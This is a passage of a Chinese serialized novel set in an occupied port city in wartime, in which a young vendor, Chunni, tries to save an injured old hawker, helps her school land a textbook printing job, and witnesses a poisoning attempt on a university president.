小贩们沉默下来,片刻后有人说:“姑娘,你不知道老杨头家的情况。医馆那么贵,进去一次,什么都不干,钱就没了,他哪进得起呢?” “我认识老杨头几十年了。他我还不知道?他就是进得起, 也舍不得。咱们还是别做多余的事,给他抬回去慢慢养着, 听天由命吧。” “是啊。老杨头儿子媳妇都没了,就剩个孙子,往后可怎么活啊?” “对了,他孙子现在在哪?咱们得出个人, 把他孙子叫回来。” “说是什么小学。报,报——” “报童小学?” “对, 就是那。姑娘你也知道?” “知道。老伯,你知道他孙子在报童小学的哪个校区读书吗?” “这我就不清楚了。不过前两天,我听他提过一嘴, 说他在这摆摊,离他孙子近些, 也方便每天跟他孙子一起回家。” “那就是江浦校区,”春妮挥手拦停一辆黄包车: “他孙子叫什么?我去学校叫他快点来。” “哦哦,那敢情好。这孩子大名叫杨大强。” 杨大强这孩子春妮认识, 因为他是学校里入学学生最大的那几个,今年快十五岁了。还因为这孩子帮她看过几次摊子,每次坐在摊位上,总是拿着张纸在算上面的算术题,却因为脑子没别人聪明,总也算不对…… 春妮收回思绪,拜托众人将草编收整起来,让黄包车将老头拉往最近的医馆: “先别管钱了,救人要紧。他孙子我知道,要是他爷爷出了事,肯定不会把他爷爷扔下不管的。” 看着人进了医馆,又托跟老杨 头交好的老伯留下来照顾,春妮再才拦下另一辆黄包车,直奔学校而去。 半个小时后,春妮领着杨大强匆匆走进医馆,须发花白的老大夫轻轻对两人摇了摇头:“伤在内腑,只能慢慢调养。” “内腑是哪?”春妮见大夫面露不解,解释说: “我是问他是伤在心肝脾肺肾哪个地方?” “这……老夫刚才摸着,应该在脾肺之间。” “那到底是脾,还是肺?”杨大强已经快崩溃了。 老大夫为难:“这……老夫又没生着透视眼。你们要想知道,恐怕得去洋人医院照照X光看。” 春妮转头去看杨大强。 杨大强咬咬牙:“去!” “不去!” 两声截然不同的回答同时响起。 杨老头不知什么时候苏醒过来,正挣扎着要坐起来。杨大强双目含泪,去搀扶他:“爷爷!” “听见没有?咱们不去,不去医院。”杨老头脸色灰暗,说一句话喘半天,只有“不去医院”这四个字异常坚决。 “可您不去医院伤好不了。” “我的身体我知道!”老头倔得可怕:“大强,抬我回去,我养两天就好。” “爷爷!” “老人家,您要是担心医药费的话,我可以先借你们一点。”春妮犹豫再三,开了口。 杨老头不为所动:“不去!大强,你送我回家。” “爷爷,您就听我的,咱们先看了病再说吧。”杨大强苦苦哀求。 杨老头头一歪,吐了一大口血。 春妮心里闷得很。她想起在家乡那会儿,村里有户人家的老娘病得很厉害,他家里儿子媳妇都孝顺,死死哀求她去看病。老太太也是百说不动,最后他儿子花钱从县城把大夫请到家里来,给老太太开了不到五毛钱的药,一共花费不到一块钱。老太太知道之后,硬是从床上爬起来,拍着大腿骂了儿子大半天。 大伙看她这精神头,以为她终于是吃了药有所好转。转天早上,老太太不见了。儿子一家人疯找几天,最后在深山中找到一双鞋,和老太太走时身上穿的半件靛蓝罩衣。 那时候春妮还不懂老太太儿孙们为何哭得那样凄厉刺耳,现在她懂了,她宁愿自己永远不懂。 春妮把杨大强叫到一边,把身上的零钱都塞给他:“先拿着这些,一定劝爷爷去看病。要是不够,你知道在哪找我。” 她不等杨大强说完感激的话,挥挥手出了医馆。 回到学校,几个老师和方校长竟然都守在凉粉摊边。方校长站起来迎她:“杨大强他爷爷怎么样了?” 一会儿功夫,杨大强爷爷的事传遍了学校。 春妮把杨老头死活不愿意看病吃药的事说了,方校长就叹气:“杨阿爷是怕拖累孙子。” “那也不至于等死吧,先把命救下来,有什么事可以以后再说。”夏风萍说。 “我好像听说过,杨阿爷家里欠了巨债,他们到江浦是躲债来的。”杨大强的班主任王老师说。 “欠巨债?王老师,你有没有听清楚?我看杨家爷孙俩都老实巴交的,不像会欠巨债的人家啊。” 王老师摇摇头,没等说话,春妮终于想起差点被她抛在脑后的事了:“校长,常先生让我转告您一声,叫您下午去学校寻他一趟。” 方校长“啊”地一声:“常先生找我有什么事?” 春妮将常先生想订学校编的教材这事说了,几位老师都非常振奋:“校长,那你可要跟常先生好好说啊。” “是啊,校长,咱们能不能再吃一回肉,就得看您的了。” 春妮:“……”得了,有老师们的叮嘱,她至少不用担心方校长会做赔本生意。 等等,不是啊,这教材她又没参与编印,真有盈余,她也领不到一分钱,怎么还跟着一起开心? 几位老师给方校长打扇子的打扇子,叫车的叫车,闹哄哄将校长送上了车,春妮想起来追上去嘱咐一声:“校长,您能不能帮着问问常先生,有没有法子帮杨大强一把?” 方校长冲背后挥挥手,黄包车拐个弯,不见了。 接下来的一整个下午,老师们翘首以盼,在下午放学之前,总算等来了方校长不紧不慢的步伐。 老师们迎上去先问杨家爷孙:“杨阿爷的事,常先生有什么主意吗?” “常先生给他们介绍去慈仁医院,那里有免费医疗病房,我回来前已经安排他们去了。” 这老师们就放心了,接着问起印教材的事。 “定下来了,两套书,一套六千本,常先生准备都交给学校来印。” “一本多少钱?” “三毛三!”方校长意气风发。 “三毛三,一万二千本,一共是多少来着?韩老师,你快来算算看。” “一共能卖三千九百六十块。”韩老师是数学老师,眼一眨就报出了数量。 “唉呀,谁让你算那个,算咱们能结余多少。” “这……按一本赚一毛钱算,有一千二百块吧。” “一千二百块,我一辈子都没见过那么多钱呢。”几个老师两只眼睛里都泛着银元的光芒。 “还一本赚一毛钱,美得你们。”方校长保守道:“蜡纸,印刷,油墨,甚至是机器耗损算进去,赚不到这么些。特别是蜡纸,我们印不到两百张就得重制,不然会漏墨,这可不大好。” 忽而板脸道:“你们啊,怎么总想到钱钱钱的,这回是帮兄弟学校印教材,不要钻到钱眼里去。” 方校长一向随和,老师们都不怕他,韩老师嘿嘿笑起来:“那校长您干嘛要三毛三呢?直接报个底价出来,咱们也不能怎样嘛。” “是啊,别的学校老师没帮着学校印教材,我们可是身兼数职呢。以前我们没说什么,现在有点钱了,是不是给我们适当改善点生活?” “校长,咱也没说别的,我就想再吃顿赵师傅烧的红烧肉。” 说到红烧肉,方校长脸也板不住了,笑道:“那好好干吧,干得好的话,学校出钱,去买头猪回来加餐!” 这真是难得的大手笔了! 老师们顿时精神百倍:“校长,您放心吧,我们保证不让您失望。” 热血过后,老师们开始算帐:“一万两千本教材,那是将近两百四十万页,咱们通宵赶工,也得赶将近一两年。常先生能等这么久吗?” 方校长把春妮给常先生出的主意说了,又说:“我跟常先生约定好,在保证单元课教材印量的情况下,抽时间赶制一千本完整的交给急需毕业的学生用。”他宣布道:“从今天开始,大家都辛苦一点。机器日夜不歇,实行轮班制,没课的老师都帮着印书去。大家没意见吧?” “没有。那还等什么,咱们现在就去吧?” 老师们都急着去印书,没看见方校长说完话之后,脸上的笑容也敛去了。 春妮拉了方校长一下,让他落到最后,低声问他:“校长,那个免费医疗病房是不是有什么问题?” 方校长摇摇头:“那倒不是。不过常先生跟我说过,这个免费医疗病房以前有政府的资助,现在政府都去了双城,他也不清楚现在的情况,我准备等会儿抽时间去看看他们住上病房没有。” “那还是我去一趟吧。”春妮说:“校长要负责油印。老师们头一回接那么大的活,不安排好不行。” 第28章 028 隐秘的快乐 慈仁医院是座有教会性质的西医医院, 位于法租界,距离江浦并不太远,但春妮到海城后, 除了草草游览的那一次, 还没正式去过法租界。 她按照方校长交代的路线去乘电车,快到法租界时,司机停下车,被告知前面设置了路障,要求所有乘客必须下车步行接受检查。 乘客们怨声载道:“这又是怎么了?” “怎么又设起了路障?” 春妮跟着人群一起下车,问前边乘客:“这里是不是经常像这样检查?” “也不算很经常,有时候天天检查, 有时候一个月都轮不上一回。” 其他乘客 也加入谈话:“那这回又是什么事?难道说是那谁又干了什么事?” “这……没听说啊。你们听说最近哪个大员死了吗?” 众人互视一番,确认都没有听说类似消息。 这时, 突然有个人小声道:“可能是因为倭军在前方战场失利,所以来折腾我们了?” 人群顿时小小轰动起来:“倭人跟我们打输了?真的假的?” “我天天看报,怎么没听说?” “应该不会假,”那位最先曝料的先生说:“我家订了份《华氏评论报》, 前天的消息。” 有人对旁边不明白的人解释道:“《华氏评论报》是英国人办的英文报纸,现在也只有这些外国报纸敢写点真东西了。” 其他人还想再问, 两名倭国军人抱着枪走了过来。 大家同时住了嘴,但一股隐秘的快乐通过人们的眼睛,嘴角和耸动的眉毛迅速地传递着, 扩散着。 就连春妮旁边抱着小孩的,娘姨打扮的中年妇人嘴角也提了起来, 死灰色的眼睛里亮起了星微的火光。 所有同车人在这一刻都拥有了同一个秘密。 这是个即使在死亡威胁下也无法令快乐褪色半分的秘密。 沦陷区外,华国人水深火热,沦陷区内, 日日灯红酒绿,也照不亮人们日渐灰暗绝望的内心。 这个时候,来自前方一点最微小的胜利,都是人们在黑暗中互相支持着走下去的动力。 设置路障后,电车必须原路返回。一行人通过倭国人的检查,又匆匆忙忙去到租界内的其他电车车站等车,这一点的秘密再随着电车的行驶,被带到更多更广的地方去。 ………… 等春妮坐完电车,一路打听过去,找到慈仁医院大门时,路灯已经亮了起来,医院里灯火通明。 春妮是在住院楼过道里找到的杨氏爷孙俩。 过道里一堆一堆的人几乎要溢出来,护士们推着推车,吆喝着极力从人堆里杀出一条血路。杨阿爷身上盖着床脏兮兮的花棉被,双目紧闭,脸色发红。 “大夫怎么说?没住上病房吗?”春妮帮杨大强挪开杨阿爷,推车轮子轧过老头的被角,慢吞吞地继续挪动。 “没有,”杨大强沮丧地说:“医生说想住免费病房需要排队,我前边还排着七十多个人。” 七十多人,真的不是开玩笑?等排到杨阿爷,他还活着吗? “那给你爷检查了吗?” “检查了,”他从兜里掏出一张单子给春妮:“其他的我也听不懂,说是我爷爷脾什么破裂。小顾老师,你看看。” 春妮接过单子,尴尬了:上面弯弯曲曲的全是外国字,她也不懂啊! 春妮其实不知道,这年头有点名头的外国西医院几乎都是全外文环境,英国人的医院写英文,法国人医院写法文,就是没有华国人的医院写华文。要不怎么说夏风萍在玛丽医院的工资高呢,懂外文,会看处方的护士不好找着呢。 春妮折起处方单:“给你爷瞧病的是个外国医生吗?怎么处方单上边全是外国字?” “就是我们华国人。” 是华国人就好说了,春妮让杨大强告诉她那位医生的名字,找到了他的办公室。 这是位年轻的男医生,他办公室里同样挤满了人。 春妮挥舞着检查单,利用身材瘦小的优势挤到最前边:“大夫,我来问问杨有福,他的伤怎么样了。” 医生埋着头在奋笔疾书:“你是杨有福家人?” “不是,我是他孙子的老师。” 医生这才抬头,看见春妮年轻的脸蛋,脸上诧异一闪而过。不过他没有置疑:“我跟他孙子说过,杨有福是脾脏破裂,这个只能静养。” 跟之前那位医馆的中医师诊断结果一样。 这可是个糟糕的结果,内脏破裂即使是在春妮那个对各式伤害研究极深的时代也是个棘手问题。轻微损伤需要卧床静养至少一个月,还要看后期情况决定是否继续静养。如果破损严重,则需要尽快手术,甚至手术都不一定有用…… “没有其他办法吗?”她想起杨阿爷脸上不正常的红晕,又说:“对了,他现在好像在发热,怎么办?” “他发热了?我去看看。” 医生将钢笔别在白大褂口袋上站起来,春妮急忙在前边给他开路。两人满头大汗地挤回原地时,杨阿爷已经说起了胡话。 医生试了试他的额温,扬声叫来护士:“给他打一瓶葡萄糖。” 春妮等了等,没听到其他的话,忍不住问:“没有了?” 医生已经重新抽出钢笔,不知在写什么:“我给他再开些降温药,吃吃看吧。”这是委婉地判了杨阿爷死刑。 春妮看了眼杨大强,后者正忙着给杨阿爷擦汗。 她还想作最后的努力:“他的病吃降温药治标不治本吧?至少也该给他用用消炎药吧?” “现在所有的消炎药都是军管药品,需要找倭国军部开条子审批,要么你们自己找渠道买。”医生又看了春妮一眼,这个穿得破烂土气的小姑娘居然知道西医的消炎药,看来还真是个老师。 能为学生操心到这一步,也是她有心了。医生口吻软化了一些:“现在一支磺胺的价格几比黄金,你就是批来条子,又要怎么弄到药?” “那……就只能这么干等着?” 可能是看惯了这样的事,医生平静地说:“只能等着。要是有条件的话,给他换个病房,让病人留点体面吧。” 他声音又放低了些:“病人在送来医院之前应该做了些先期处置,经手的医师很老道,否则以他伤势的严重性,等不到现在。” 慈仁医院是海城有名的大医院,这里的床位一年四季都很紧张。春妮代杨大强付了五块钱押金,给杨阿爷换到一个刚刚腾出空位的普通病房。 趁人不注意,春妮掏出一片白白的药片:她没受过内伤,刚刚听医生说到磺胺,想起她空间里好像有一些,但是是口服药。 现在也只能死马当活马医,春妮犹豫一下,将药片喂进了杨阿爷的口中。 跟杨阿爷同病房的病人中,有一个是全身重度烧伤,有一个则不知道是什么病,两个人嘴里的哼哼声没断过。 杨阿爷喝了药,在这样的环境下,安静得像个假人。 春妮看天色已晚,跟杨大强交代两句,匆匆跑出医院,赶上了最后一班电车。 ………… 杨大强是三天后回的学校,回校时,他头上缠了圈白布,将剩下的钱交给春妮:“用了十四块六毛四分钱,给我爷买了副棺材。小顾老师,我会尽快还你的。” 春妮这三天里去看过杨阿爷好几回,给杨阿爷喂过两回药片之后,她就知道,她的帮助不会有任何用处。 就像之前的两次一样,春妮曾经当作宝贝囤积起来的神奇小药片没有起到任何作用,吃药救不了她想救的人。 “大强,你以后准备怎么办?”杨大强的班主任王老师问。 杨大强眼神有一瞬间的狠戾,很快被茫然取代,他摇了摇头:“我先准备去码头看看。” “书不读了吗?” 杨大强咬了咬唇,没说话。 王老师同其他人交换个眼神,建议道:“大强,要是你还不知道做什么好,不如到学校来帮我们吧?” “可我什么都不会,我在学校能干什么?”杨大强低下头,有些自卑。 他阿爷咬着牙送他来读书,临走时也拉着他袖子,一定要他有机会读下去。他一直不敢告诉他阿爷,他可能在班里是最笨的那个…… “你可以帮我们印教材。”夏风萍快人快语。 老师们围着油印机连续转了几天之后,发现这样做实在是太累了。而且白天老师们上课的时间不好调配,油印机又需要至少两个人辅助,有时候只有一个老师是空闲的,这样就很不好调配。 何况油墨,纸张等耗材的统计和购买也是 个问题。他们才买来油印机没几天,还得分出个人寻找合适的供货商。 本来学校加上春妮就只有六名正式老师,春妮有自己的事做,也就是说,加上方校长,他们能全天待命的只有四个人。这四个人里还得分出一到两个人刻印蜡纸。因为他们是初学者,一张蜡纸最多只能印三百份就要报废再重新刻。 这两天老师们一直商量着,让校长给他们招个人来帮忙。 正好杨大强就来了。 方校长很痛快就点了头,给杨大强开出包三餐,一个月再另外给他两块钱工钱的待遇,熟练之后再加钱。 之所以开得这么低,是因为老师们都坚持要杨大强再继续读书。 因为学校招收的学生们特殊,四个班中只有两个班是全日制教学。另外两个班则是一个班只上上午,另一个班只上下午,维持半天班的状态,杨大强可以半工半读。 老师们让杨大强跟着上午班学习,下午再去油印。 就跟李德三那样,他现在是只读下午班,读到五点钟下学,再赶在六点前女工们下工前去卖馒头。 一想到李德三,春妮就想起他好像好几天没到学校来了。 想到那天倭国巡警的凶残相,她顿时有些担心:德三不会有事吧? 因为春妮同时支着两个摊子,这些日子她每天早上做完馒头后会先走一步,下午的馒头则是赶在午休那阵做完热在灶上,都是拜托吉拉太太帮忙转交,交帐则是在学校里十天交一次,所以她一直没跟他碰面,也没觉得有什么不对。 春妮决定今天晚上早点回去,问问具体情况。 第29章 029 海城恶土 春妮打定主意要在下午寻李德三好好聊聊, 没想到的是,这天下午来问吉拉太太拿馒头的根本不是德三本人。 要不是吉拉太太告诉春妮,德三头一天领着这个说自己叫王阿进的水果贩子来认过门, 春妮说不定拳头都招呼到他身上来了。 因为这个家伙有点斜眼驼背, 他微偏脑袋看人的样子,真的不像个好人。 王阿进看见春妮,的确也耗子跟看猫似的,头一个意识就是转身拔腿跑。没等迈开腿,他又生生忍住,哈腰赔笑:“小顾姐您在啊?” 春妮:“……你认识我?” 王阿进犹豫了一下,还是说了实话:“王老六是我哥。” 春妮顿时直起身子:“你是来寻仇的?” 王阿进吓得抱头蹲下:“没有没有, 不敢不敢。是德三让我来的,我帮德三带馒头, 带馒头的。” 这更可疑了,春妮捏了捏拳头:“德三自己不来,让你来干什么?” 王阿进惊恐地打起了磕巴:“德,德三跌破了头, 这两天他说他头晕,不想走远路先到小顾姐你这, 再去纱厂。他知道我家住附近,都是托我给他捎到纱厂的。” 这家伙胆子这么小,应该不会骗她。 春妮让他挑起馒头担子, 自己跟在他身边:“德三什么时候跌破的头?这是怎么回事?” “就是,就是前两天被倭国巡警追, 他跑得太急,没看路跟人撞了一下跌了一跤吗?” “那他没被追到吧?” “那倒没有,这小子从小跑得快。”王阿进露出庆幸的神色:“也幸好他会跑, 不然被那些倭国鬼子抓住,说不定命都要丢掉。前两天不还说安泰纱厂那边打死了人吗?” 杨老头就是死在安泰纱厂门前。 春妮沉默片刻:“你说你从小就认识德三?”难怪上次她托德三找王老六三个人,他很快就把人找了过来。 “对啊,他爹妈没死之前,跟我们家是邻居。后边他妈得病死后,他一个小孩儿付不起房租,就搬走了。要不是这回我们在纱厂碰到,我还不知道他搬在那附近的棚子里住。” 这个春妮挺意外的,德三从没提过他竟是住在棚户区。她听他一口的本地话,为人又乐观,以为他的境遇不会那样差,至少该有自己的房子住。 “你哥呢?怎么这些天没在码头上看见他?” 王阿进偏着脑袋斜眼瞅春妮,那模样说不出来的欠打:“小顾姐你不知道?我哥他们几个被乌爷打发到城西看场子去了。” 乌爷?春妮想起那天站在袁八爷背后,差点成为背景板的矮胖子,是他? 城西是华界,虽然那里也通电车,但春妮刚来遍游海城那会儿都没有去过。连吉拉太太都知道,城西遍布赌场妓院,时常发生械斗死人。 因为曾经发生过一国公使夫人在那里赌输家产自杀,最后却不了了之的事,除了赌徒骗子,连外国公使都不会轻易涉足此处,城西也是海城有名的“歹土”。因为城西的存在,海城那些外国报纸给海城新起了个外号,叫海城恶土。 王老六几个去那种地方,肯定没有在码头待着敲诈勒索来的舒服。 果然能在□□里闯出点地位的,都知道该怎么做事。春妮心里舒服了点。 春妮不说话,王阿进也不敢随便吱声。 两人闷头走了半天,春妮才又开口:“你知道为什么那些倭国巡警突然变得这么凶残吗?” 王阿进还真的知道一点:“还不是因为我们会做生意,做的东西好吃,价格又公道,连倭国人都找我们买东西吃,挤了那些倭国商店的生意。我有个兄弟说,那些倭国巡警收了他们本国人的好处,立意要拿我们立个威,把我们从江浦撵出去。” “那现在呢?做生意的人还有吗?” “比起前些日子是少多了。叫巡警一吓,好多人不敢再来了。”王阿进笑得呲牙咧嘴的:“他们不来也好,我这两天水果好卖多了。” “你就不怕挨打?” 王阿进得意一笑:“我观察过了,那几个巡警只撵摆摊的。我一次带得少少的,把担子挑在肩上,挨家挨户串着卖,只要眼色放精一点,不跟他们撞上,不会有什么事。我这样的年轻人会跑,他们一般只会盯着女人,小孩和老人追。再不济,我这几个桃子不值钱,丢了再跑呗,先保命要紧。” 这家伙倒是个机灵人。 王阿进这时看出春妮不像传闻中的那样可怕,有意跟她打好关系,主动找些话来说:“小顾姐,你一会儿见到德三,可要劝他一劝。我昨天才听说,巡警们又打死了一个人。他受了伤,万一再遇到巡警,可就不一定那么幸运了。” “又打死了一个人?在哪?消息可是真的?”春妮站住脚。 “这回在福兴纱厂,我兄弟上午跟我说,他亲眼所见,应该不会假。他胆子小,没敢凑上去,那个被追的小孩说是当时就不动了。啧啧啧,这些倭国人真造孽。” 说完这件事,王阿进也没有了心情继续同春妮搭话。两人闷头走到安泰纱厂后门,李德三果然已经等在了那。 他蹲坐在一个路灯柱下边,头上戴了顶有檐的黑帽子,帽子下的白纱布隐约可见。看见春妮和王阿进,他迎上来跟两人打声招呼,就想接过馒头。 春妮说:“你先回去,今天的馒头我来卖。” 王阿进将福兴纱厂打死人的事说了,劝他道:“兄弟,小命要紧,你歇两天总饿不死吧?” 李德三神色闪烁不定,说:“我先停几天没问题,那春妮你的馒头怎么办?” 春妮自然说:“我有其他事做,你又不是不知道。放心歇你的吧。”想了想问:“你手上钱够不够?” 说完又有些心疼:才赚了钱没焐热几天,怎么这些天总在做散财童子?她简直跟前世那个吝啬鬼都不是同一个人了,可德三又不是别人…… 正在她内心激烈挣扎之际,幸好德三说:“我有些积蓄尚能支持几天。” 春妮心里偷偷出了口气,又听王阿进邀请他:“你要养病,苏南那一片环境太差,要不你先搬到 我家跟我住段时间。”他偷偷看了春妮一眼:“反正我哥近段时间也不会回来住。” 李德三考虑片刻,也答应了。 春妮掂掂篮子里的馒头,幸好这几天李德三订得少,里头一共装着三十个,只用了个篮子提着。这三十个馒头中,十五个是馒头,再有十个豆沙包,五个芝麻包。 因为面粉涨价过于厉害,现在馒头价春妮也水涨船高,涨到七分钱一个,甜包子更贵,豆沙包八分一个,芝麻包则要一毛。 白面馒头任何时候都不便宜,好在女工们人多,不乏没有家小负累,可以支撑稍高消费的姑娘,她的馒头也做出了名气,十五个馒头很快被售空,甜包子也卖了四个去。 眼看从纱厂里出来的人越来越少,巡警们换工的时间也越来越近,春妮看周围的人都开始频频往路口看,索性提起篮子往弄堂里走。 来常买她馒头的,除了女工们,还有住在附近的倭人街坊。时间长了,春妮知道他们的住址,有时会上门问问他们的需求。 现在她要去寻的,就是这几家相熟的街邻。 春妮走了几家,只卖出去两个甜包子,直到走到上次她和李德三一起进去,被女主人推荐去读倭人小学的这间小院。 这里的女主人也是她的常客,只是位置离街区有些远,她还是第二次过来。 春妮敲了敲门,耳熟的声音响起来,叽哩呱啦的说着她听不懂的话。 春妮扬声喊:“太太,我是安泰纱厂卖馒头的,来问问您还要不要馒头。” “这么晚,我们已经吃过饭了啊。”女主人细声细气地,切换到了华语。 前面几家都是用这个理由拒绝的春妮,她只好说:“太太,我们近日不会再来卖馒头,这是特意给您送来的几个。” “那你等等。” 院门很快被打开,穿着绘彩鸟缎衣的女子迎出来问道:“怎么不卖馒头了呢?” 春妮把这两天的打人事件说了,女子连声叹气:“你随我进来,要四个芝麻包,我去拿容器来装。” 春妮像上次一样在廊下候着,看见房子门口放了双男式皮鞋,应该是这家的男主人回来了。 里面果然有男人的声音,女主人同他交谈几声,给春妮拿一块钱出来,柔声道:“不用找了,剩下的钱给你朋友看病吧。” 春妮谢过她,这里已经快到永佳纱厂,离吴江大学只剩不到五百米的路程。 剩下的五个包子她也不打算卖了,常先生借她的两本书她已经抽空看完,其中《华国历史故事》通篇采用白话文,语言直白易懂,故事娓娓道来,她很喜欢看。《三毛流浪记》则是夏生看得比较多,春妮不太适应这样以画代书的方式。 这五个包子正好拿去答谢常先生借书。 这会儿已经快到晚上八点,常先生的校长办公室还是灯火通明。 看见春妮,他有点生气:“小春妮,这都什么时候了,你怎么还在外边跑?” 春妮解释说,她在附近卖包子,正好来看看常先生,把没卖完的五个包子送给他,又还了他的书,常先生神色这才放缓,放她进了门。 直到这个时候,春妮才发现,常先生办公桌的对面坐着个穿白衬衣的年轻人。 常先生倒没矫情,他接过包子,拿了一个在手里,招呼同在办公室的年轻男子:“文远,你也来吃,这可是我们的家乡风味,在海城很难尝到的。小春妮,进来坐吧。”扬声叫坐在隔壁的秘书:“密斯周,把这些面包拿出去吧。西餐腻得很,我不是说过,让换家馆子订餐吗?我这中国胃实在受不了啦。” 密斯周,也就是春妮上次见过的那位戴眼镜的女士走进来,端起托盘抱怨道:“校长,这个点只有西餐馆还开着,您想吃得好点,别工作得太晚不就是了。那这份饭怎么办?” 常先生道:“这些面包和牛奶我还没动过,密斯周不介意的话,自己吃或是送人都行。”现在海城物资紧张,从上到下食物都不会轻易被浪费,何况是价格更昂贵的西餐。 密斯周抿嘴笑道:“我早就吃过了。这些食物放到明天就不新鲜了,常先生要是没意见,我就自行处置吧。” “随便你吧。”密斯周离开后,常先生接着问春妮:“对了,我记得你不是在卖凉粉吗?怎么又卖起了馒头?” 春妮把李德三的事情说了,说起李德三,就不得不提到杨老头还有福兴纱厂门前的事。 常先生啃包子的动作停了下来,眉头也紧紧皱起来,他还没表态,他身后的年轻男子忽然站起来。 常先生吓了一跳,急忙拦在他面前,紧张道:“文远,有什么话慢慢说,你可别乱来。” 春妮:“……”这话,听上去有点熟悉啊。 年轻人没来得及说话,突然,一声尖叫响了起来。 那叫声之震怖,激得春妮胳膊上起了一层的鸡皮疙瘩! 第30章 030 灵机一动 三个人跑出大楼, 前面已经零零散散聚了些人,看来都是被密斯周那声可怕的尖叫引出来的。 而事件的中心密斯周正惊慌地向众人诉说:“我,我就是喂它吃了点面包, 喝了点牛奶, 什么都没做,它突然就,就——” 她的脚下是一只口吐白沫,身体微微抽搐的流浪猫。 这时,密斯周看见正向这边赶来的常先生,指着他尖叫起来:“面包,面包原来是食堂送来给校长的晚餐!” 人群顿时大哗, 大家都紧张地围过来。 有人惊道:“难道此事有什么阴谋?校长,这事不能轻易过去了。” 也有人说:“我们给巡捕房打个电话, 让他们过来查吧,总得把事情调查清楚。” 这人的建议立刻被旁边人否决了:“巡捕房只会和稀泥,叫他们来,不添乱就够了, 还想真的抓到贼?” 但仍有人坚持道:“那也得报警,收了我们每个月那么些税金, 想不办事,哪有这么便宜?” 倒是常校长还算镇定,叫来一位同事陪着密斯周, 将剩下的面包收集起来,带去学校的实验室分析化验。 又安抚众人道:“事情的结果还没出来, 大家不要妄加揣测,都先回去干自己的事吧。” “还得把今天西餐厅的人都找出来,不能让他们都跑了。”常文远补充了一句。 几名男士站出来:“我们这就去对面餐馆问情况。” 常先生在学校的威望应该很高, 他这句话一说,虽然有些人脸上看着不赞同,到底没谁出声。不一会儿,人群就散得干净了。 常先生这才转向春妮:“小春妮,让你受惊了,对不住。咱们再回去说说吧。” 即使春妮并没怎么感觉害怕,但对常先生这种面对生死危机还淡然处之的表现也是心生佩服。自己能做到这样,是经历过无数次杀局锤炼出来的,而常先生一介书生肯定不常遇到这样的事,不管是胸有激雷而面如平湖,还是早将生死置之肚外,都不是常人有的表现,他才是真正的高人。 难怪能做大学校长。 春妮这么乱七八糟地想了一通,没等走两步,听见常先生喝斥:“文远,你往哪去?文远,你给我回来!” 春妮赶忙堵住常文远的去路,让常先生将他紧紧拉住。 那个叫“文远”的年轻人无奈道:“伯父,你以为我要做什么?这里可是海城。” 常先生瞪着他,并不放松:“你还知道这里是海城?休想骗我,别以为我不知道你偷偷干了什么,你给我老实呆着!” 这对话,有点内容啊! 春妮半垂着头,竖起耳朵。 两人对峙片刻,常文远悻悻让了步,跟着两人往回走:“大伯你太紧张了。 我不就是刚刚听说这位小姐说的这件事,过于震惊了吗?这位?”他望向顾春妮。 “顾春妮。”敢情常先生跟她说这么长时间的话,他就留意到了倭国人打死人这节? “那……密斯顾,你能把你知道的事都详细跟我说说吗?” 见春妮没答话,先去看常先生,他翻了个白眼。 常先生点点头:“说吧,我也想知道。” 顾春妮就从亲眼看见杨老头被倭国巡警从要害处招呼开始,说到求药无门,再说到王阿进说的福兴纱厂,以及他对倭国巡捕的某些猜测。 两位男士听得很认真,尤其那位文远先生。他先是从衬衫口袋上取下钢笔,从常先生办公桌上随意拖来一叠稿纸奋笔疾书,听到后来,更是咬牙切齿,几度捏紧拳头,仿佛随时都会跳起来跟人干上一架。 讲完之后,几人都好长时间没有说话。 直到文远先生打破沉默:“这件事我会再找人调查清楚。伯父,他们现在都敢当街打死人了,还打死了一个孩子,我们不能就这么算了!” “你想干什么?”常先生问他。 “我,我——”常文远不知是没想好,还是不好说出来,吱吱唔唔半天,也没说出个章程。 “你什么也不许干!”常先生说:“你现在还读书,这些事不该是你掺和在里面——” “也要这书读得下去才叫读书!若是倭国人今天打死一个人,明天打一死一个人,整日弄得人心惶惶,还读什么书?”常文远原本怒气冲冲的,忽然转了话头:“倒是伯父你,现在倭人越来越倡狂,他们一向无法无天,你是真的不能再留在海城了。” 常先生要离开海城?春妮一惊,连忙去看他。 常先生还是那副平平淡淡的神色:“你不用操心我,我自有分寸。” “上回出门,你差点被车撞我们都劝你,你是怎么说的?你说这是意外,不要大惊小怪,”常文远说:“伯父,倭人都买通了您的身边人要对您下毒,您再不走就是坐以待毙!” 常先生正要说话,猛然看见站在旁边静悄悄的春妮,转口道:“文远,你帮我送顾小姐回去。” “伯父!” “好了,我的事改天再说,天晚了,你先送顾小姐。”常先生坚持道。 常文远气呼呼的甩门走了。 春妮很尴尬,常先生对她露出个歉意的笑:“小春妮,对不住让你看了笑话。要不是你的馒头,我这回就要见阎王爷去了。今天太晚,救命之恩只能下次谢你。正好,”他又从抽屉里翻出两本书:“上次的书看完了,这两本你拿回去吧——” 春妮实在是忍不住了:“常先生,我觉得那位文远先生说得对,您不该再留在海城了。” 算下来,她跟常先生不过三面之缘。这位先生从一开始就对她这个素昧平生的小丫头施以援手,多加引导,她不是不知好歹的人,此时一点也不想看到他出事。 小丫头鼓着眼睛执意要个说法,常先生伸了半天的手,也不见她来接,只好笑了笑,说:“孩子,你不知道,我不是我一个人。我在这里好歹有些薄名,我还有学生和同侪,我的学校正在被倭人占领,我逃走了,谁在这个时候保护他们?我怎么能退缩?何况若是连我都在这个时候逃走了,人家会说,看,连吴江大学的校长都逃跑,海城没得救了,华国人肯定要完了。我不能走。” 春妮实在是不懂他们这些文人的坚持:“嘴长在他们身上,先生就让他们说两句有什么?您自己知道自己在做什么不就行了?只有活着才能做事,您死了谈什么不都是空的?” 何况她这些天早问过,倭人炸学校之后,海城很多大学都撤到了内地在坚持办学,并不是就此消沉消失了。 常先生笑笑:“好,你说的话先生会考虑的,快回去吧。” 这一看就是在敷衍她。 春妮不高兴:“先生……” 常先生从书桌后转出来,帮她开了门,将书塞进她手中,笑道:“先生这里可没有多余的铺盖卷容你留宿,快回去吧,别让家里人等急了。” 说罢,将她推出门外。 没等她再折返回去,楼梯口闹哄哄跑过来一大群人。为首的两个妇人,一个握着帕子,扶着个满头白发的老妇人满脸焦急地越过春妮,打开校长办公室的门:“向与,你有没有事?我听说——” 春妮怏怏下了楼,发现那位文远先生并没有走远,就在楼下绕一株女贞树不耐烦地转着圈。 看见她下楼,他转身推出辆自行车,伸腿跨上车座:“上车吧。” 见春妮不动,他有些着急:“你不回家吗?走吧,我送你啊。”原来常先生刚刚的话他听进去了啊。 “你不再上去劝劝常先生吗?”春妮问他。 